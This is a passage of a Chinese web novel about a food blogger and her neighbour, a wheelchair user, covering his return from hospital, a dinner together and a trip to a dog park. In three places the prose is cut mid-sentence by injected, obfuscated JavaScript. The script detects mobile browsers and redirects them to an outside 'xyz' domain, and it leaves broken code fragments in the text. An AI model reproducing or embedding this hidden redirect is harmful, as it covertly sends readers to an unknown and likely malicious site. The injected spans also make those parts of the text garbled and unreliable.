网页一页一页往下翻:神经痛、痉挛、导尿、压疮预防、肠道管理、体位变换、低血压、尿路感染风险……术后复健、残存肌力训练、上肢代偿……护理手册、患者故事、科普视频、论坛提问。 她从客厅看到卧室,又从卧室看到厨房。所有页面都用理论陈述把“终生”两个字说得轻巧。 她把烟盒从抽屉里抽出来,走到阳台,点了第一根。 第二支,第三支......烟雾堆在玻璃上,窗外灯一点一点随着夜深而熄灭。抱抱从猫窝里探出半个脑袋,耳朵动了一下,又缩回去。 凌晨两点,她把烟掐灭,给抱抱做了宵夜。冻干加温水,加一点新开的罐头。小猫慢吞吞地吃,尾巴尖一动一动。她蹲着看它吃完,顺手把猫碗刷了,把猫砂盆捞了一遍,换了新的垫片。 她又看了一会儿网页。内容绕回最初那几条,屏幕的蓝光把许尽欢眼底的青色照得淡一点。天渐亮的时候她才起身,去二十楼。 小区里这时候还还没什么人,崽崽看见她像见了老熟人,先绕着她撒了会娇,等她把牵引扣好才往外窜。夏日微凉的晨风把草的味道卷起,崽崽每隔一会儿都会回头看她一眼,确认她还在。绕小区两圈,回家,它自己待在门口的地毯上坐下等擦脚,耳朵也让摸。 许尽欢真心实意的感叹,别人家的孩子确实是好。 她按食谱给它拌了湿粮,碗放好,随意叮嘱:“吃慢点。” 居然它真的吃慢点了。 许尽欢忍不住拍了两张吃饭吃的很香的崽崽欣赏。 回十九楼,许尽欢心里有预感,昨晚熬了一宿,这一觉应该要睡很久。正式打算睡觉前把抱抱的自动喂食器装满,水碗加到边,备用的小零食放到柜台上沿,她都得伸手才能到。她躺回沙发时,电视好像放到了小郭把炮仗当柴火塞进了灶。 她的梦很乱。走廊,诊室,雨,水声,初中的地砖,高中天台的栏杆,猫扑进灌木丛,狗围着她打圈。她在梦里试图解救以前的自己,嘴张开了,发不出声音。 闹钟没有设。手机震动了一下,她像从沼泽里挣扎着抬头,半睁眼去摸。屏幕上是一条消息: 【明天我就出院回家啦,这几天崽崽太麻烦你了。感恩的心。】 后面跟了一个谦卑到滑稽的合十的表情包。 她半眯着眼睛回:【客气。崽崽很想你,你放在沙发上的外套都被它拽进窝里睡了。】 打完字,她把后台滑掉,白色的浏览器卡片一张一张从屏幕顶端滑走,露出昨晚的全部关键词。她盯了两秒,睡意渐消。 许尽欢抓了抱枕靠回去,脑子里过了一遍这些天自己做的事:下楼遛狗、上楼做狗饭、去了三次医院、闲的没事买早茶、手腕被拽住。她不是看不懂自己的心思。 喜欢,应该是有的。 但大概率是十分浅薄的,因为对方脸的喜欢,仅仅是让她愿意答应和他一起吃饭、改变三五天的生活秩序、多回两条信息、在白天多走两步的喜欢。 她对稳定的亲密关系没任何把握。她清晰的知道自己的缺点。作息乱、情绪冷淡、社交回避,热闹的事最多一会,多了会让她疲惫。 她从没能在任何关系里长久地表现出别人期待的样子。 走一步看一步吧。 她看着手上留下有些发青的印子,无聊地想着,虽然没出血,但这算不算扯平了。 在沙发里翻了个身,继续昏昏沉沉的睡过去。 纪允川自从瘫痪。后睡眠质量就很一般。 早上五点半,窗帘缝里只一点灰白。他撑着床栏把自己挪回正中,抱着手机玩了会,等到八点左右才按铃,等护士来帮忙换床单。 护工小张在护士换完床单也带着换洗衣服进了病房。 他想洗澡,但目前他更着急逃离医院,小张便提议要不要只擦一下身体。 电动床不知道为什么和他作对,遥控器半天没反应,他只好左手抓住床栏,蓦地感受到后背有条筋绷了两下。紧接着就是可预见的右腿不受控制地抖,像最近晚上很火的在地上弹跳扭动的鱼造型的小猫玩具。 可以买个小玩具给抱抱。他像与自己不相干似的望着痉挛的腿。 纪允川无意识的憋住气,静静地等那股痉挛过去,再换另一侧。毛巾一路按下来,皮肤下那层钝痛像退潮,留下黏黏的潮气。 “纪先生,衣服要不要换一套吧?”小张给纪允川擦完身体问。 “换。”纪允川点头。 病号服下摆往上卷到胸口,右臂的防水贴边缘因为刚刚又是出汗又是擦身有点起皱,小张用棉签把贴边按平,再把干净的上衣慢慢从左侧穿进去。 “小心一些啊,右胳膊还没好。”小张有点担心地嘱咐。 “不碍事,早就结痂了。” 裤子更麻烦,小张把裤腰从脚跟往上拎到大腿外侧,再把导尿管缓缓掖进腰里预留的开口,贴布压紧;纪允川得先抓住床栏,用肩膀和手臂发力,臀部离床两厘米,等他气往下落一口,小张才把裤腰整个拉上来。 “辛苦。”纪允川这一早上还没吃饭就被折腾的七荤八素,气若游丝地说。 “这两天你脸色看着好多了。”小张笑,顺手把床头的用药表拿来划掉一格,又把两只备用纸袋套进床尾垃圾桶里。 换回干净衣服,他坐在床上歇了两分钟,指尖还轻微发抖,耳后那根跳得快的血管慢慢收下去。 上午十点,李至延来看了一眼,确认指标都稳定后,睨了纪允川一眼:“以后感觉有病提前过来,别等烧的神智不清半夜给我打电话,你哥哥我因为学医已经快秃顶,不能再被你把心脏折磨坏了。” “我这发烧也没个预兆,这可怪不着我。” 中午,齐斯年来接他。雨停了,地面还是湿的。 “走吧,派大星。”齐斯年站在门口,看他收拾完饶有趣味地开口。 “你哪像海绵宝宝了?”纪允川笑。 纪允川手抓车座转移,肩背发力再将臀部挪过去,坐稳后,他在胸前系好安全带,呼一口气。 小张在车门外将轮椅拆轮,抬车架放后备箱。医院走廊的味道慢慢留在车门外。 车上,齐斯年问:“说说呗,最近你这边的……进展?” “嗯?”纪允川不欲多说,明知故问。 “那位邻居学姐。”齐斯年把“学姐”两个字拖得很长,“看起来人不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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回家第一件事,就是把洗衣机开了,出院这两天穿的衣服已经被小张分了颜色,他索性整袋丢进去,打开消毒程序。 浴室里,定时来家里打扫卫生的阿姨已经把淋浴椅和防滑垫都擦得看不出水渍,他将毛巾搭在椅背。轮椅停在浴室门口,拉好刹车,左手撑着轮椅坐垫,右手扶着椅背,把自己挪到淋浴椅上。过程不快,腿拖曳在瓷砖上。 中途右小腿抖了一阵,他浑身泡沫地扶了扶膝盖,闭着眼睛等痉挛过去。 洗完澡已经是一个小时后了,穿上黑色家居服。 纪允川长舒一口气,总算觉得自己干净了。 许尽欢早上匆匆回了消息后一觉睡到晚上八点。她在黑暗里直起身,第一反应是崽崽还没吃晚饭。 她把脸洗了,胡乱把头发扎起来,抓了外套就出门。电梯里的镜子把她的影子拉成瘦长的一条,她盯着自己两秒,感觉自己像瘦长鬼影。 漫无目的地思索着怎么增肥,就到了二十楼门口,她按了密码,一边拉开防盗门,一边对着屋里说了句“崽崽——”。 纪允川就停在门后一点的位置。 许尽欢下意识地扫视着眼前刚出院的人,黑色的真丝家居服,头发有潮气,看上去瘦了些。坐在轮椅上,没穿鞋,惨白色的足背诡异地往下垂着,脚趾不自然地蜷缩成一团。 她的脑海里迅速闪回前天晚上在浏览器看到的那些各种各样的视频和图片。 屋里是熟悉的洗衣液和不怎么熟悉的沐浴露的味道。 崽崽从他脚边探出头,跑到许尽欢身边绕着她转了两圈,尾巴把她小腿拍出几道虚影表达高兴。 她愣了半秒,脸上的困意还没完全退,像迟了一拍才把线头接上:“……我睡过头,忘了你出院了。” 纪允川倒是像中了彩票似的又惊又喜:“正好。你来它开心的不得了。快进来吧,你吃晚饭了吗?我正好打算点外卖,有一家外卖特别好吃,虽然不如你的手艺那么好啦,但还是值得一吃的......” 17. 第 17 章 玄关感应灯“啪”地亮起,暖黄的光把门口两道影子拖得很细。 “不过,你这是才睡醒?要不要先喝点水啊?我冰箱里有超多饮料和茶,你自己去找一瓶爱喝的吧。”纪允川的发梢还滴着水,整个人带着一股刚冲完澡的潮湿热气。 “啊?哦!”许尽欢的声音里还带着刚睡醒的朦胧和沙哑,眼尾压着一小团困意,“不好意思啊,我随随便便就闯进来了,以后不会了。或者你把密码换了吧。” “嗨,哪用得着换密码,你想来随时来,”他笑,顺手揉了一把崽崽的头,“崽崽超喜欢你。” 崽崽像在蹦床上,一个弹射起步,然后绕着她打了两个圈,欢快又收敛地往她鞋边一放,抬头、眨眼,求表扬的样子十足可爱。 “你家冰箱确实有好多饮料。”许尽欢看着两个堪比她这位美食博主的双开门冰箱里满满当当的食物饮料不免震惊。 “外卖很快就到,你看一眼旁边的柜子,里面各种零食蛋糕什么的,你看你要不要随便垫点儿?”他从茶几下扒拉出来一堆零食,放在桌面上,生怕自己招待不周。 短短一秒,她权衡了一下,随后点头:“嗯。” “你就当自己家,随便玩随便逛,等我吹个头发啊,我很快的。”他滑到电视前打开电视,翻出遥控器,《武林外传》跳出来,选了列表循环,这才放心去卫生间吹头发。 “嗯……”她回应一声,抱着一瓶东方树叶慢慢悠悠地晃到沙发边上。熟悉的对白像安神香薰,稳定地发挥着作用。 纪允川把毛巾搭在肩上匆匆进了卫生间。浴室的风声“呼”地停了一刻,又响起,像是在抢时间把自己收拾利落。 许尽欢低头和崽崽玩,替崽崽把项圈整理了下,手指从它耳后摸过去,柔软的毛贴着掌心。 她顺着习惯把茶几上的纸巾盒拎正,把沙发靠垫立好,又把崽崽叼来的彩虹圈推回去:“想抱抱吗?” 浴室风声停了。纪允川擦着头发急匆匆回到客厅,发梢未干,呼吸也没完全平稳。轮椅在地毯边缘轻微一顿,像是怕他一个没注意人就跑了。 “那个,电视音量……合适吗?”他指了下电视。 “合适的。”她结实地抱着怀里变胖不少的崽崽坐到沙发侧,手指敲了一下,看了一眼他的右臂,“胳膊,可以洗澡了吗?” “早就可以啦,结痂好几天了。”纪允川顺手把家居服的袖子拉到手肘给她看。 他停在她对面,打算找个开场,被问到了胳膊后他也忽然像想起了什么,连忙问:“那天把你手腕抓成那样,你的手腕怎么样了?我真怕你以为我有暴力倾向是什么暴力狂。。” “暴力狂?”她被逗到,唇角轻轻一弯,“不至于。” 电台词恰到好处地从电视里落下:“你先放下我们风情万种的佟湘玉......” 她低头,余光忽然扫到地板上两滴深红,像被墨滴到的水。 她下意识地检索自己的身上,腕上的青色印几乎褪尽;视线下移,自己穿着长裤和拖鞋。然后抬头去看纪允川,目光停在他足背外侧,不知道什么时候蹭破了一小块皮,血沿着皮肤的纹理挂成半月。 但本人显然一副什么也不知道的模样,正忙着找好吃的塞给许尽欢。 许尽欢抽了张餐巾纸,轻声问:“你家医药箱呢?” “电视下面呢,咋啦?你受伤了?”他急匆匆地转动轮椅到许尽欢身边,顺着她的动作往下看,才发现柔白色的地砖上有两个显眼的血滴。 他大惊:“你哪破了?都流血了??” 许尽欢一言难尽地看着他,指了指他静静摆放在轮椅脚托上的脚:“是你流血了。” 纪允川这才低头看过去,不知什么时候蹭破的。大概是刚进门?或者从浴室出来时拖到茶几角? “所以医药箱里有消毒的吗?”许尽欢把地上的血滴擦掉,转身走到电视附近。 他下意识把轮椅往后挪了半寸,动作却又停住:“都有,酒精碘伏都有。” “你家东西还挺全。”她蹲下,抽出透明收纳盒。 她把医药箱拎起,走到他轮椅侧盘腿坐下,卷起袖口,抬手要碰他的脚。 “我自己来就好!”他几乎条件反射,耳尖“唰”地一下子红到脖颈,下意识用力推动轮圈,轮椅后退了好几步“咚”地一声撞到身后的墙,他捂后脑勺,呲牙咧嘴:“嗷——” 崽崽被这兵荒马乱的动静吓得站直,两只前爪交替踏步,紧张地“呜”了一声。 许尽欢也被这动静吓到,抬眼,面色疑惑:“你躲啥?” “我——我自己来。”他咳了一声,结结巴巴地回答,飞速把医药箱拖到手边,眼神还带着一点慌。 许尽欢见状退开,只把东西拆到触手可及的位置,棉签剥好,纱布撕角,胶带起边,纸巾铺好。她把医用垃圾袋撑开放在脚边,好让他顺手丢。 他挪到沙发,动作熟练。许尽欢默默旁观,在知晓了一切后,才看得出纪允川的双腿像两条被带动的缎子。然后她真的开始不着边际的好奇,半个身子没知觉是什么感觉。 等到坐稳后,手穿过膝弯,把受伤的那条腿抬上沙发。随着动作左右晃动好像没有踝关节的伤脚在他手的动作下踩在沙发上。 耳朵红的滴血,手上却动作稳当。 她没继续看他,主要是发现这人一边给自己上碘伏一边偷偷看她,黄色的药水全抹歪了。许尽欢索性转头看电视摸崽崽,电视里熟悉的台词落下,她把音量滑低一格。 纪允川悄悄抬头,许尽欢的侧脸闯进他的视线。光从落地灯斜下来,她睫毛投在脸颊上,立体的五官光影错落。他不自觉屏住了呼吸。 “好了。”他随手丢掉棉签,感受到了善解人意避开视线的许尽欢,耳根还红着,“小问题。” “嗯。”她把垃圾收好,打了个结。 “知道了。”他没有再贫嘴。 门铃响,外卖到了。清淡的菜被热气裹着,整个客厅的味道忽然变得温馨。许尽欢被带去餐桌上坐好,托腮看着纪允川坐在对面忙着拆盒、分装:“先这个,他家的粥特别好吃。” 许尽欢闻到了食物的香气,拿着勺子小口喝。温热落下,空荡荡的胃感受到食物的入侵,稍做抗议。于是另一道龙虾滑蛋被她挑给他那边。 “你确实挺会吃,这家外卖味道很不错。”她认真夸。 “哈!怎么样,你也被他家俘获了吧。”纪允川高兴地接受了许尽欢的夸奖,然后把鱼骨挑净推过去:“这个没有刺。” “谢谢。”许尽欢夹一块,目光掠过纪允川指尖。纪允川的手指修长,指甲被修剪的很干净,骨节清楚。指尖碰到碗沿的一瞬,瓷器发出很轻的“叮”。 她没忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542061|186510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住多看了几眼。 “你今天……还困吗?”他想找话,尽量自然,“要不要吃完就回去补一觉?” “吃完回去剪一小时片子,再睡。”她实话实说。 “你这时间表……”他忍不住,压着笑意,“对头发不太友好。” “我也觉得。”她难得没反驳,“但我天生发量多。” 他笑,眼尾那道褶在灯下更浅。崽崽趴在他轮椅边,看两个人吃饭的动静,偶尔把脑袋戳到她膝边蹭一下,被她下意识摸了一把耳朵尖,耳背立刻舒服地抖了抖。 吃到一半,他腰背忽然绷了下,像背后被拽了一根线,呼吸顿住。她察觉:“要躺一会儿吗?” “那不至于。”他随手锤了两下,淡淡补了一句,“刚出院,背还不太给面子。睡觉的时候就躺了。” 她点点头,觉得合理。 许尽欢确实有点饿了,把粥干掉三分之二,鱼吃了小半,时蔬夹了几根。她抬眼时,纪允川正低头把一次性盒叠好、套橡皮筋、垃圾分类。收拾得干净利落。 “谢谢你的外卖,很好吃。”许尽欢认真地道谢。 纪允川“嗯”了一声,一晚上的紧张情绪总算被抚平,一直压在心口那块石头松了不少:“下次你有空的话咱们还可以一起吃。我知道好多好吃的餐厅。” 她站起来,准备走,忽然停了一秒,视线落在他后脑勺:“刚才撞的地方没起包?” “没有,我头硬。”他笑。 “行吧。”她弯腰摸了摸崽崽的头:“下次见。” 崽崽“呜”了一声,尾巴拍在她小腿上,软软的。 她走到玄关换鞋,没忍住回头看了他一眼。没想到纪允川也正在看她。 许尽欢没说话,推门出去。门合上,风从走廊缝里掠进来一点,带着凉。 电梯前,玻璃里映着她冷静的脸。手机震了一下。 他发来:【到家发我消息吧。】 【虽然就在楼下~】 电梯已经停在十九层,她笑着回:【到了。】 看着防盗门被关上后, 纪允川把医药箱收回电视柜,低头拎起踏板上的脚踩在轮椅的坐垫上,许尽欢坐在他身边,他完全没心情认真消毒。创可贴都贴歪了。只好等许尽欢离开了再返工。崽崽蹲到轮椅边,仰头看他。他弯指点点它鼻尖:“别学我,一激动给自己撞墙上。” 他把臀部往前滑,背贴平。两条腿重新安分地躺在脚托上,脚踝处因为刚才挪动又垂了半寸。他低头把足背轻轻摆正,指腹掠过刚贴好的纱布边缘,确认还是十分服帖。 “崽崽。”他低声喊。小狗把下巴搭到他膝上,眼睛亮亮地看着他。 他把手机拿起来,看到那句【到了】。巴不得看出朵花来。 他缓慢而诚恳地回了一个“嗯”。又想了想,觉得太冷淡,赶紧删掉。换成一只小狗把头埋进毯子的表情包,发出去。 屏幕一黑,他靠回椅背,眼里那点病后乍亮的光终于沉寂下来。他闭上眼,小狗在腿边呼吸均匀。 电梯下到一楼,风从自动门掠进来一阵。吃的比以往多了不少,打算散步来缓解胃里不适的许尽欢推开门。手机屏再亮,是那只把头埋进毯子的小狗。她笑了一下,指腹落在屏幕上,没回。把耳机塞进耳朵,慢悠悠地走出门口,夜里的风带着植物的湿气,有些凉。 18. 第 18 章 周末的风有股干净的雨后香气,像洗过一样,透着点早夏的青草味。 许尽欢把装了食物的保温袋拎在手里,电梯下到了负一层,刚走出门被一声短促的喇叭吓了一下。 “早上好,上车啦。”男人清朗的声线从驾驶位那边传来,尾音习惯性地扬起一点,好像今天万里无云的晴空。 许尽欢绕到副驾,拉开门后发现车里做了不少改装。方向盘下方似乎是多了一套辅助手柄,刹车与油门都做了手控,座椅边缘有一侧便于转移的可折转移板,安全带位置也显得更宽。一切似乎都为驾驶座上的人融入社会做着极大的努力。 她愣了一两秒,转头去看他。 “惊不惊喜?”纪允川笑,用左手扶方向,用右手握着那套银灰色的手柄示意给她看,“C5哦,如假包换的正规持证上岗。” 他把驾驶证从储物箱里抽出来晃晃。证件照里的他眉眼还更少年气一些,笑意藏不住,许尽欢不意外,这人看上去嘴角压根儿没老实过。 “很惊喜。”她十分捧场,把手里的包放在脚边后鼓了两下掌。 “嗯哼,专用手控改装,合法合规。”他得意地咳了一声,“我技术还行的。你不用担心。” 后半句说完他自己先红了耳朵根,忙不迭转移话题:“崽崽,不许乱动了。” 小狗像一个装了弹簧的抱枕,看到许尽欢上了车后尾巴就变成了螺旋桨。“嗖”地蹦上后座,朝她“汪”了一声。它在脖子上戴了一条小蓝巾,和今天的天气一样晴朗。 安全带“咔哒”一声扣好。车子缓缓驶出地库,穿过小区厚重的门禁栏杆,光从挡风玻璃上铺到纪允川脸上,侧影轮廓干净,眼睛里亮得像藏了一小个湖泊。 “确实挺稳的。”许尽欢把座椅靠背放低一格,转头看他修长的手指轻轻敲了两下方向盘,颇觉赏心悦目。 “相信我啦,”他笑,“我可诚实了,从不骗人的。” 她“嗯”了一声,嘴角扬起连她自己都没察觉的弧度,望着眼前的景色。 郊区的小狗乐园在城市外圈,导航显示一个半小时。因为出来的时间前后不沾,所以路况不错,车内安静,只有空调的风声和崽崽呼吸时候发出的轻响。 “你昨晚睡得怎么样?今天叫你出来不会一宿没睡吧?”他侧头瞥她一眼,很快又把视线收回。 “还行,睡了两三个小时。”她靠着窗看外面一排排后退的绿树,指尖在大腿上轻轻敲两下,“不过我昨天睡了一白天,所以不困。” “哇,荣幸。”他控制着手柄顺过一个弯,“休息日愿意跟我和狗子去小狗乐园。” “乐园会有很多别的小狗吗?”她慢吞吞地问。 “嗯……小狗乐园肯定有很多别的小狗啊,不过你这是什么话,不能还没到地方就移情别恋不爱崽崽了啊。我要代表崽崽谴责你了。”他一本正经。 “……”她轻笑了一声。 红灯前车停住。他把挡位推回,左手顺手把后视镜角度调了调,余光里她的侧脸仔细又松弛。他忽然想到什么:“你带了什么?保温袋那么沉。” “普通的三明治。水果三明治。春雨沙拉。”她数得很平静,“你不是说上次还想吃面包吗?就做了两个。” “简直是太幸福了。”他叹气,“我这辈子最正确的决定是搬来这栋楼。” “那你之前都住哪儿?”她漫不经心地问。 “北城北,离我工作室近。”他说,“但是后来想换个环境,这边离医院和商场都比较近。结果一换,就如此幸运地搬到了你楼上。”他说到开心事笑起来,像只餍足的猫。 她“喔”了声,没接对方抛来的球。许尽欢不怎么擅长把话题接得热闹,但氛围却不尴尬。 后视镜里,崽崽趴在靠背上,脑袋垫着她早上顺便带给它的小玩具,眼睛亮亮的。她不时回头看它一次,发现崽崽真的很喜欢小玩具的样子,也柔和了眉眼。 “崽崽今天很开心。”她说。 “它每天都开心。”纪允川耸肩,“我偶尔会觉得她比我的小外甥女还聪明。” “你小外甥女听到这话该哭了。”她淡淡地补刀。 “啊?”他笑出声,“这可是我姐,我小外甥女的亲妈亲口说的。” “你还有姐姐?”她认真地看了他一眼,“亲姐姐吗?” “有啊,我有一个哥哥一个姐姐。”提到家里人,纪允川的脸上不免露出幸福的柔和神情。 “那你很厉害。”许尽欢认真地讲。 他被这句莫名其妙的夸搞得心里一热,正想顺杆往上爬,信号灯转绿了,他只能把热乎乎的心先揣回去,手柄一扣,车子滑上高架:“那你要不要夸我一下具体哪里厉害?” 许尽欢认真地思索了几秒:“你很有教养,性格也很好。按理说,家里最小的孩子,一般会被宠的无法无天,和人交往会以自我为中心,会让人感到困扰。” “因为我家的教育用具是衣架。”纪允川似乎是回想起了什么,变得呲牙咧嘴:“那玩意儿比戒尺疼多了。” 城市退到背后,大片的绿地映入眼帘。乐园在一块开阔的草地上,入口一排彩色风车正随风旋转,风把风车叶子吹得叮当作响。停车场外面就是两片草地,远处能看到一个蓝得发亮的泳池,里面密密麻麻全是狗,一眼扫过去,能认出来的品种几乎都有。 “好了。”纪允川把车停稳,打了两下转向,偏头看了眼她,“我们到了。” 许尽欢闻声下车,先把后备厢打开。崽崽已经在后座坐不住,尾巴拍得咚咚响,她把牵引扣上,手在它耳后摸了摸,温柔地压低声音:“宝贝乖,等一下。” 它果然就等住了。 纪允川打开了车门,放倒了副驾驶的座椅靠背,一件一件地拿出轮椅部件拼好在驾驶座的车门口。听到了许尽欢温柔的一声“宝贝乖”有些羡慕地看了一眼自家的小狗。 “崽崽是真的非常聪明。”她说。 “那是。” 她把保温袋从后备厢取出来,纪允川也顺利地转移到了组装好的轮椅上,熟练地沿着斜坡滑下,落到地面时,轮椅发出一声轻轻的“咔”。 乐园很大。草地上四处是拿相机抓拍的年轻人,泳池边缘看起来像一盆沸腾的白开水,萨摩耶、边牧、拉布拉多······各种大型犬一头扎进去,一波波白浪花往边上扑。 情侣很多。互相拽着牵引在草地上跑的,坐在遮阳伞下吃冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16548798|186510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淇淋给对方擦嘴角的。狗也热闹得过分,不认识的互相闻一闻,认识的在水里乱扑腾打闹,水珠飞起来的时候太阳一照,像玻璃糖果纸一样闪。 许尽欢走在纪允川身侧,步子不疾不徐,崽崽在她左侧,进入了乐园后,她就解开了崽崽身上的牵引绳,崽崽也一头扎进泳池。她走到泳池边,站住。水面明亮,一直萨摩耶从水里浮起一张湿漉漉的脸,四肢划水,尾巴当舵,岸上有人笑,手机“咔嚓”声一阵一阵响起。 她看着看着就走神,视线沿着水波的方向被拉远。 她莫名其妙地想起齐马蓝。蓝色从壁画的一角一点点扩大,扩张到海里、到宇宙、到整个画布,然后又回到一方小小的清洁池。那样纯粹的起点与终点,静谧而忧伤。 “在想什么?”男人轻轻把轮椅凑过去一点,仰头看她。 “在想这个池子是人工打扫还是机器人打扫。”她很诚实地说。 他笑得肩膀都抖了一下:“我猜……无论是人工还是机器,都不会画画就对了。” 她侧头看他,先是愣怔,然后感觉自己的心跳有些变快,许尽欢有些隐秘地雀跃。尽管大概率是巧合,但是这样偶尔天马行空地胡说八道,不用解释前因后果却有人和自己同一频道地接话,真的让她不自觉地欣喜。 许尽欢蓦地笑了:“你也看《爱死机》?” “我在医院躺了一年多。”他把手背搭到额前做遮阳的姿势,假模假样叹气,“不是我自夸,那一年我快把各个平台的电影动画电视剧看个底朝天了。你知道我最熟的是哪一集吗?” “哪一集?” “祝有好收获。”他停了一下,又补,“当然,我也很喜欢齐马蓝。看完那集,我特别想泡个澡。” “泡澡?”她挑眉。 “嗯。”他转着轮圈,笑,“想找找回到原点的感觉。” 她看着他的表情,又扫过他身下的轮椅。忽然觉得心口某个地方被风吹了一下,凉凉的,又软软的。 “我们找个阴凉地坐一会儿?”他说。 “好。” 他们挑了一块树荫下的空位,草地干净,风从树叶间穿过。她把薄毯摊在草上然后坐上去,保温袋打开,塑料小盒一只只摆出来。鸡蛋黄瓜三明治切成方块;草莓芒果夹心的水果三明治切成三角;春雨沙拉装在透明碗里,颜色清透。 崽崽在旁边坐下,舌头吐出来,眼睛一眨不眨盯着保温袋。 “你先喝水。”许尽欢把小狗水壶拧开,崽崽乖乖地喝,喝完舔了舔鼻子。 “你这个春雨沙拉……是深夜食堂的同款吗?”纪允川用一次性叉子叉了一小口,认真地尝一口,“嗷——好吃。” “是,你确实像是把视频网站翻个底朝天。我用了点柚子醋,不知道你能不能吃得惯。”她坐在他侧后方,习惯性地把剪刀手边上不顺手的小袋子都摊开。 纪允川把一块水果三明治推给她:“你别只顾我啊,感觉已经很不好意思了。本来我是打算在附近便利店买点东西一起吃的,没想到你准备了这么多,” 许尽欢看上去依旧胃口一般,看了看摊开的一堆食物,最后选择吃了一颗青提:“嗯,下次吧,便利店的关东煮很好吃。” 19. 第 19 章 青提很甜,牙齿合拢的那一下清清楚楚地咔嚓声在她耳朵里响起来,让她忽然有点满足。 “你拍视频的时候,会不会觉得……很麻烦?”他一边吃一边说话,“我看你的视频发现你应该每次都会做很多分量,是备选吗。” “会很麻烦,也确实是备选。”她回答得简短,“你眼睛很尖啊。” “主要是你的视频节奏很好。”他偏头看她,“我看你的视频不会想快进。” “……”她不太习惯被人当面夸,尤其是被很认真地夸。她低头吃了一口沙拉,想起什么,抬眼看他,斟酌着开口,“你……今天状态还好吗?” “很好,别担心。”他收敛了一点玩笑的神色语气,“背疼也没犯,今天我只想做两件事。” “哪两件?” “带崽崽好好玩一玩。”他笑,眼睛里满是真心实意,“第二件事就是见到你,没想到意外之喜还吃到了你做的三明治和沙拉。” “那这算你赚到了。”她笑着拍了拍手上的面包渣,一边从薄垫子上起身一边抬起眼—— 一只巨大的白团从他们右后方“嗖”地一扑,像一团翻滚的棉花糖。 还没来得及站稳的时候,萨摩耶的前爪已经往她胳膊上搭,她脚下趔趄了一下,往后倒,身体本能地往最近的支撑点压过去。 “哎——小心!”男人的声音有些急促。轮椅的手闸被刹住,纪允川左手抄住她的手腕,右手护着她的腰侧轻轻一带,连人带狗往他的方向一倒。许尽欢踉踉跄跄地一屁股坐实在他大腿上,一瞬间的重量、温度、呼吸都被彼此的身体接住,交缠在一起。 周围的声音像被水吸掉了,空气里只剩两个人近得不可思议的呼吸。 他惊得先红了脸,臂弯下意识收紧,因为感受不到腿上的重量,又怕收得太紧惹许尽欢不舒服,慌忙松了一点。许尽欢整个人却很安静,背靠在他的臂弯,姿势自然得像本来就要这样坐一会儿。她倒是不觉得窘迫,甚至很平静地顺了顺刚才被萨摩耶扒乱的裙角。 “对不起对不起!”萨摩耶的女主人率先小跑过来,连连道歉,“它看见吃的就忍不住——” “没事。”许尽欢抬眼,语气平静,“它很可爱。” “是我……我没抓住它。实在抱歉。”男主人也匆匆赶来歉疚地笑了笑,又拉拉自家狗的项圈,撤退得飞快。 “你没事吧?”纪允川低头,感受到她的发丝被阳光晒得暖和,擦过自己下巴,痒得他肩背发紧。他尽力让声音听上去镇定,“吓到了没有?” “还好。”她偏过头,看了他一眼,两个人的距离近的有些过分了,许尽欢能看到纪允川下巴上的胡渣,也能闻到这位讲究的都市型男似乎用了的男士香水味,以及衬衫的洗衣液味儿。许尽欢眼尾的笑意乍起,眼睛亮得像一盏小灯,逗他,“你脸怎么这么红?热吗?” “谁红了。”他嘴硬,耳朵更红,眼睛雾蒙蒙的,像蒸腾起的氤氲水汽。他装作不在意地轻轻托起许尽欢的手肘把她往前扶了一点,“你先起来看看有没有撞到哪里。” “好。”她顺势从他的腿上跳下来,抬手把她刚才压歪的他衬衣领抚了一下,“谢谢你。” 他“嗯”了一声,音量不大。他把轮椅往后挪了半寸,与她保持一个不远不近的距离。崽崽刚才的动静被吓得“汪”了一声,此刻已经平静,讨好似的把小脑袋往许尽欢膝盖上一顶。 “我倒是没什么,你家崽崽好像被吓到了。”她随口说。 “它以为你是它的……”他脱口而出,然后忙道,“我是说,它觉得你是它的朋友,看你被撞了所以担心你。” “原来如此。”她低头摸狗,指尖从它耳后至颈部,毛软软地贴在手掌心。 风把树叶吹得沙沙响。太阳高一点的时候,泳池边的白浪更密,水面亮得眼睛要眯起来。许尽欢把一盒水果三明治又推到他那边:“再吃一块。” “太幸福了,我这辈子就没这么被投喂过。”他笑,“我妈说我嘴巴刁,不乐意给我做饭吃。” “那你妈现在应该很放心。”她说。 “放心什么?”他不解。 “虽然挑食,但看上去饭量不错。”她看着他,目光沉静。 “喂喂喂,你这不会是拐着弯儿说我吃的多吧!” 初夏午后,小狗几乎全部都在渐渐往泳池靠拢。崽崽站在小狗泳池的边缘,犹豫地把爪子搭在水面上沾了两下,回头看了他和许尽欢一眼,小跑到纪允川身边把脑袋搭在他腿上呜呜两下。 “你想再下去?”纪允川笑着揉了揉它的脑袋,“那就去吧。” 崽崽“汪”了一声,得到主人的准许后高兴地在原地转圈。许尽欢蹲下来,解掉它的牵引。崽崽小跑到泳池边,随即勇敢地跳下去,扑通一声,然后很快冒出一个奶黄色的小脑袋。 “它是一点不害怕啊。”许尽欢感慨。 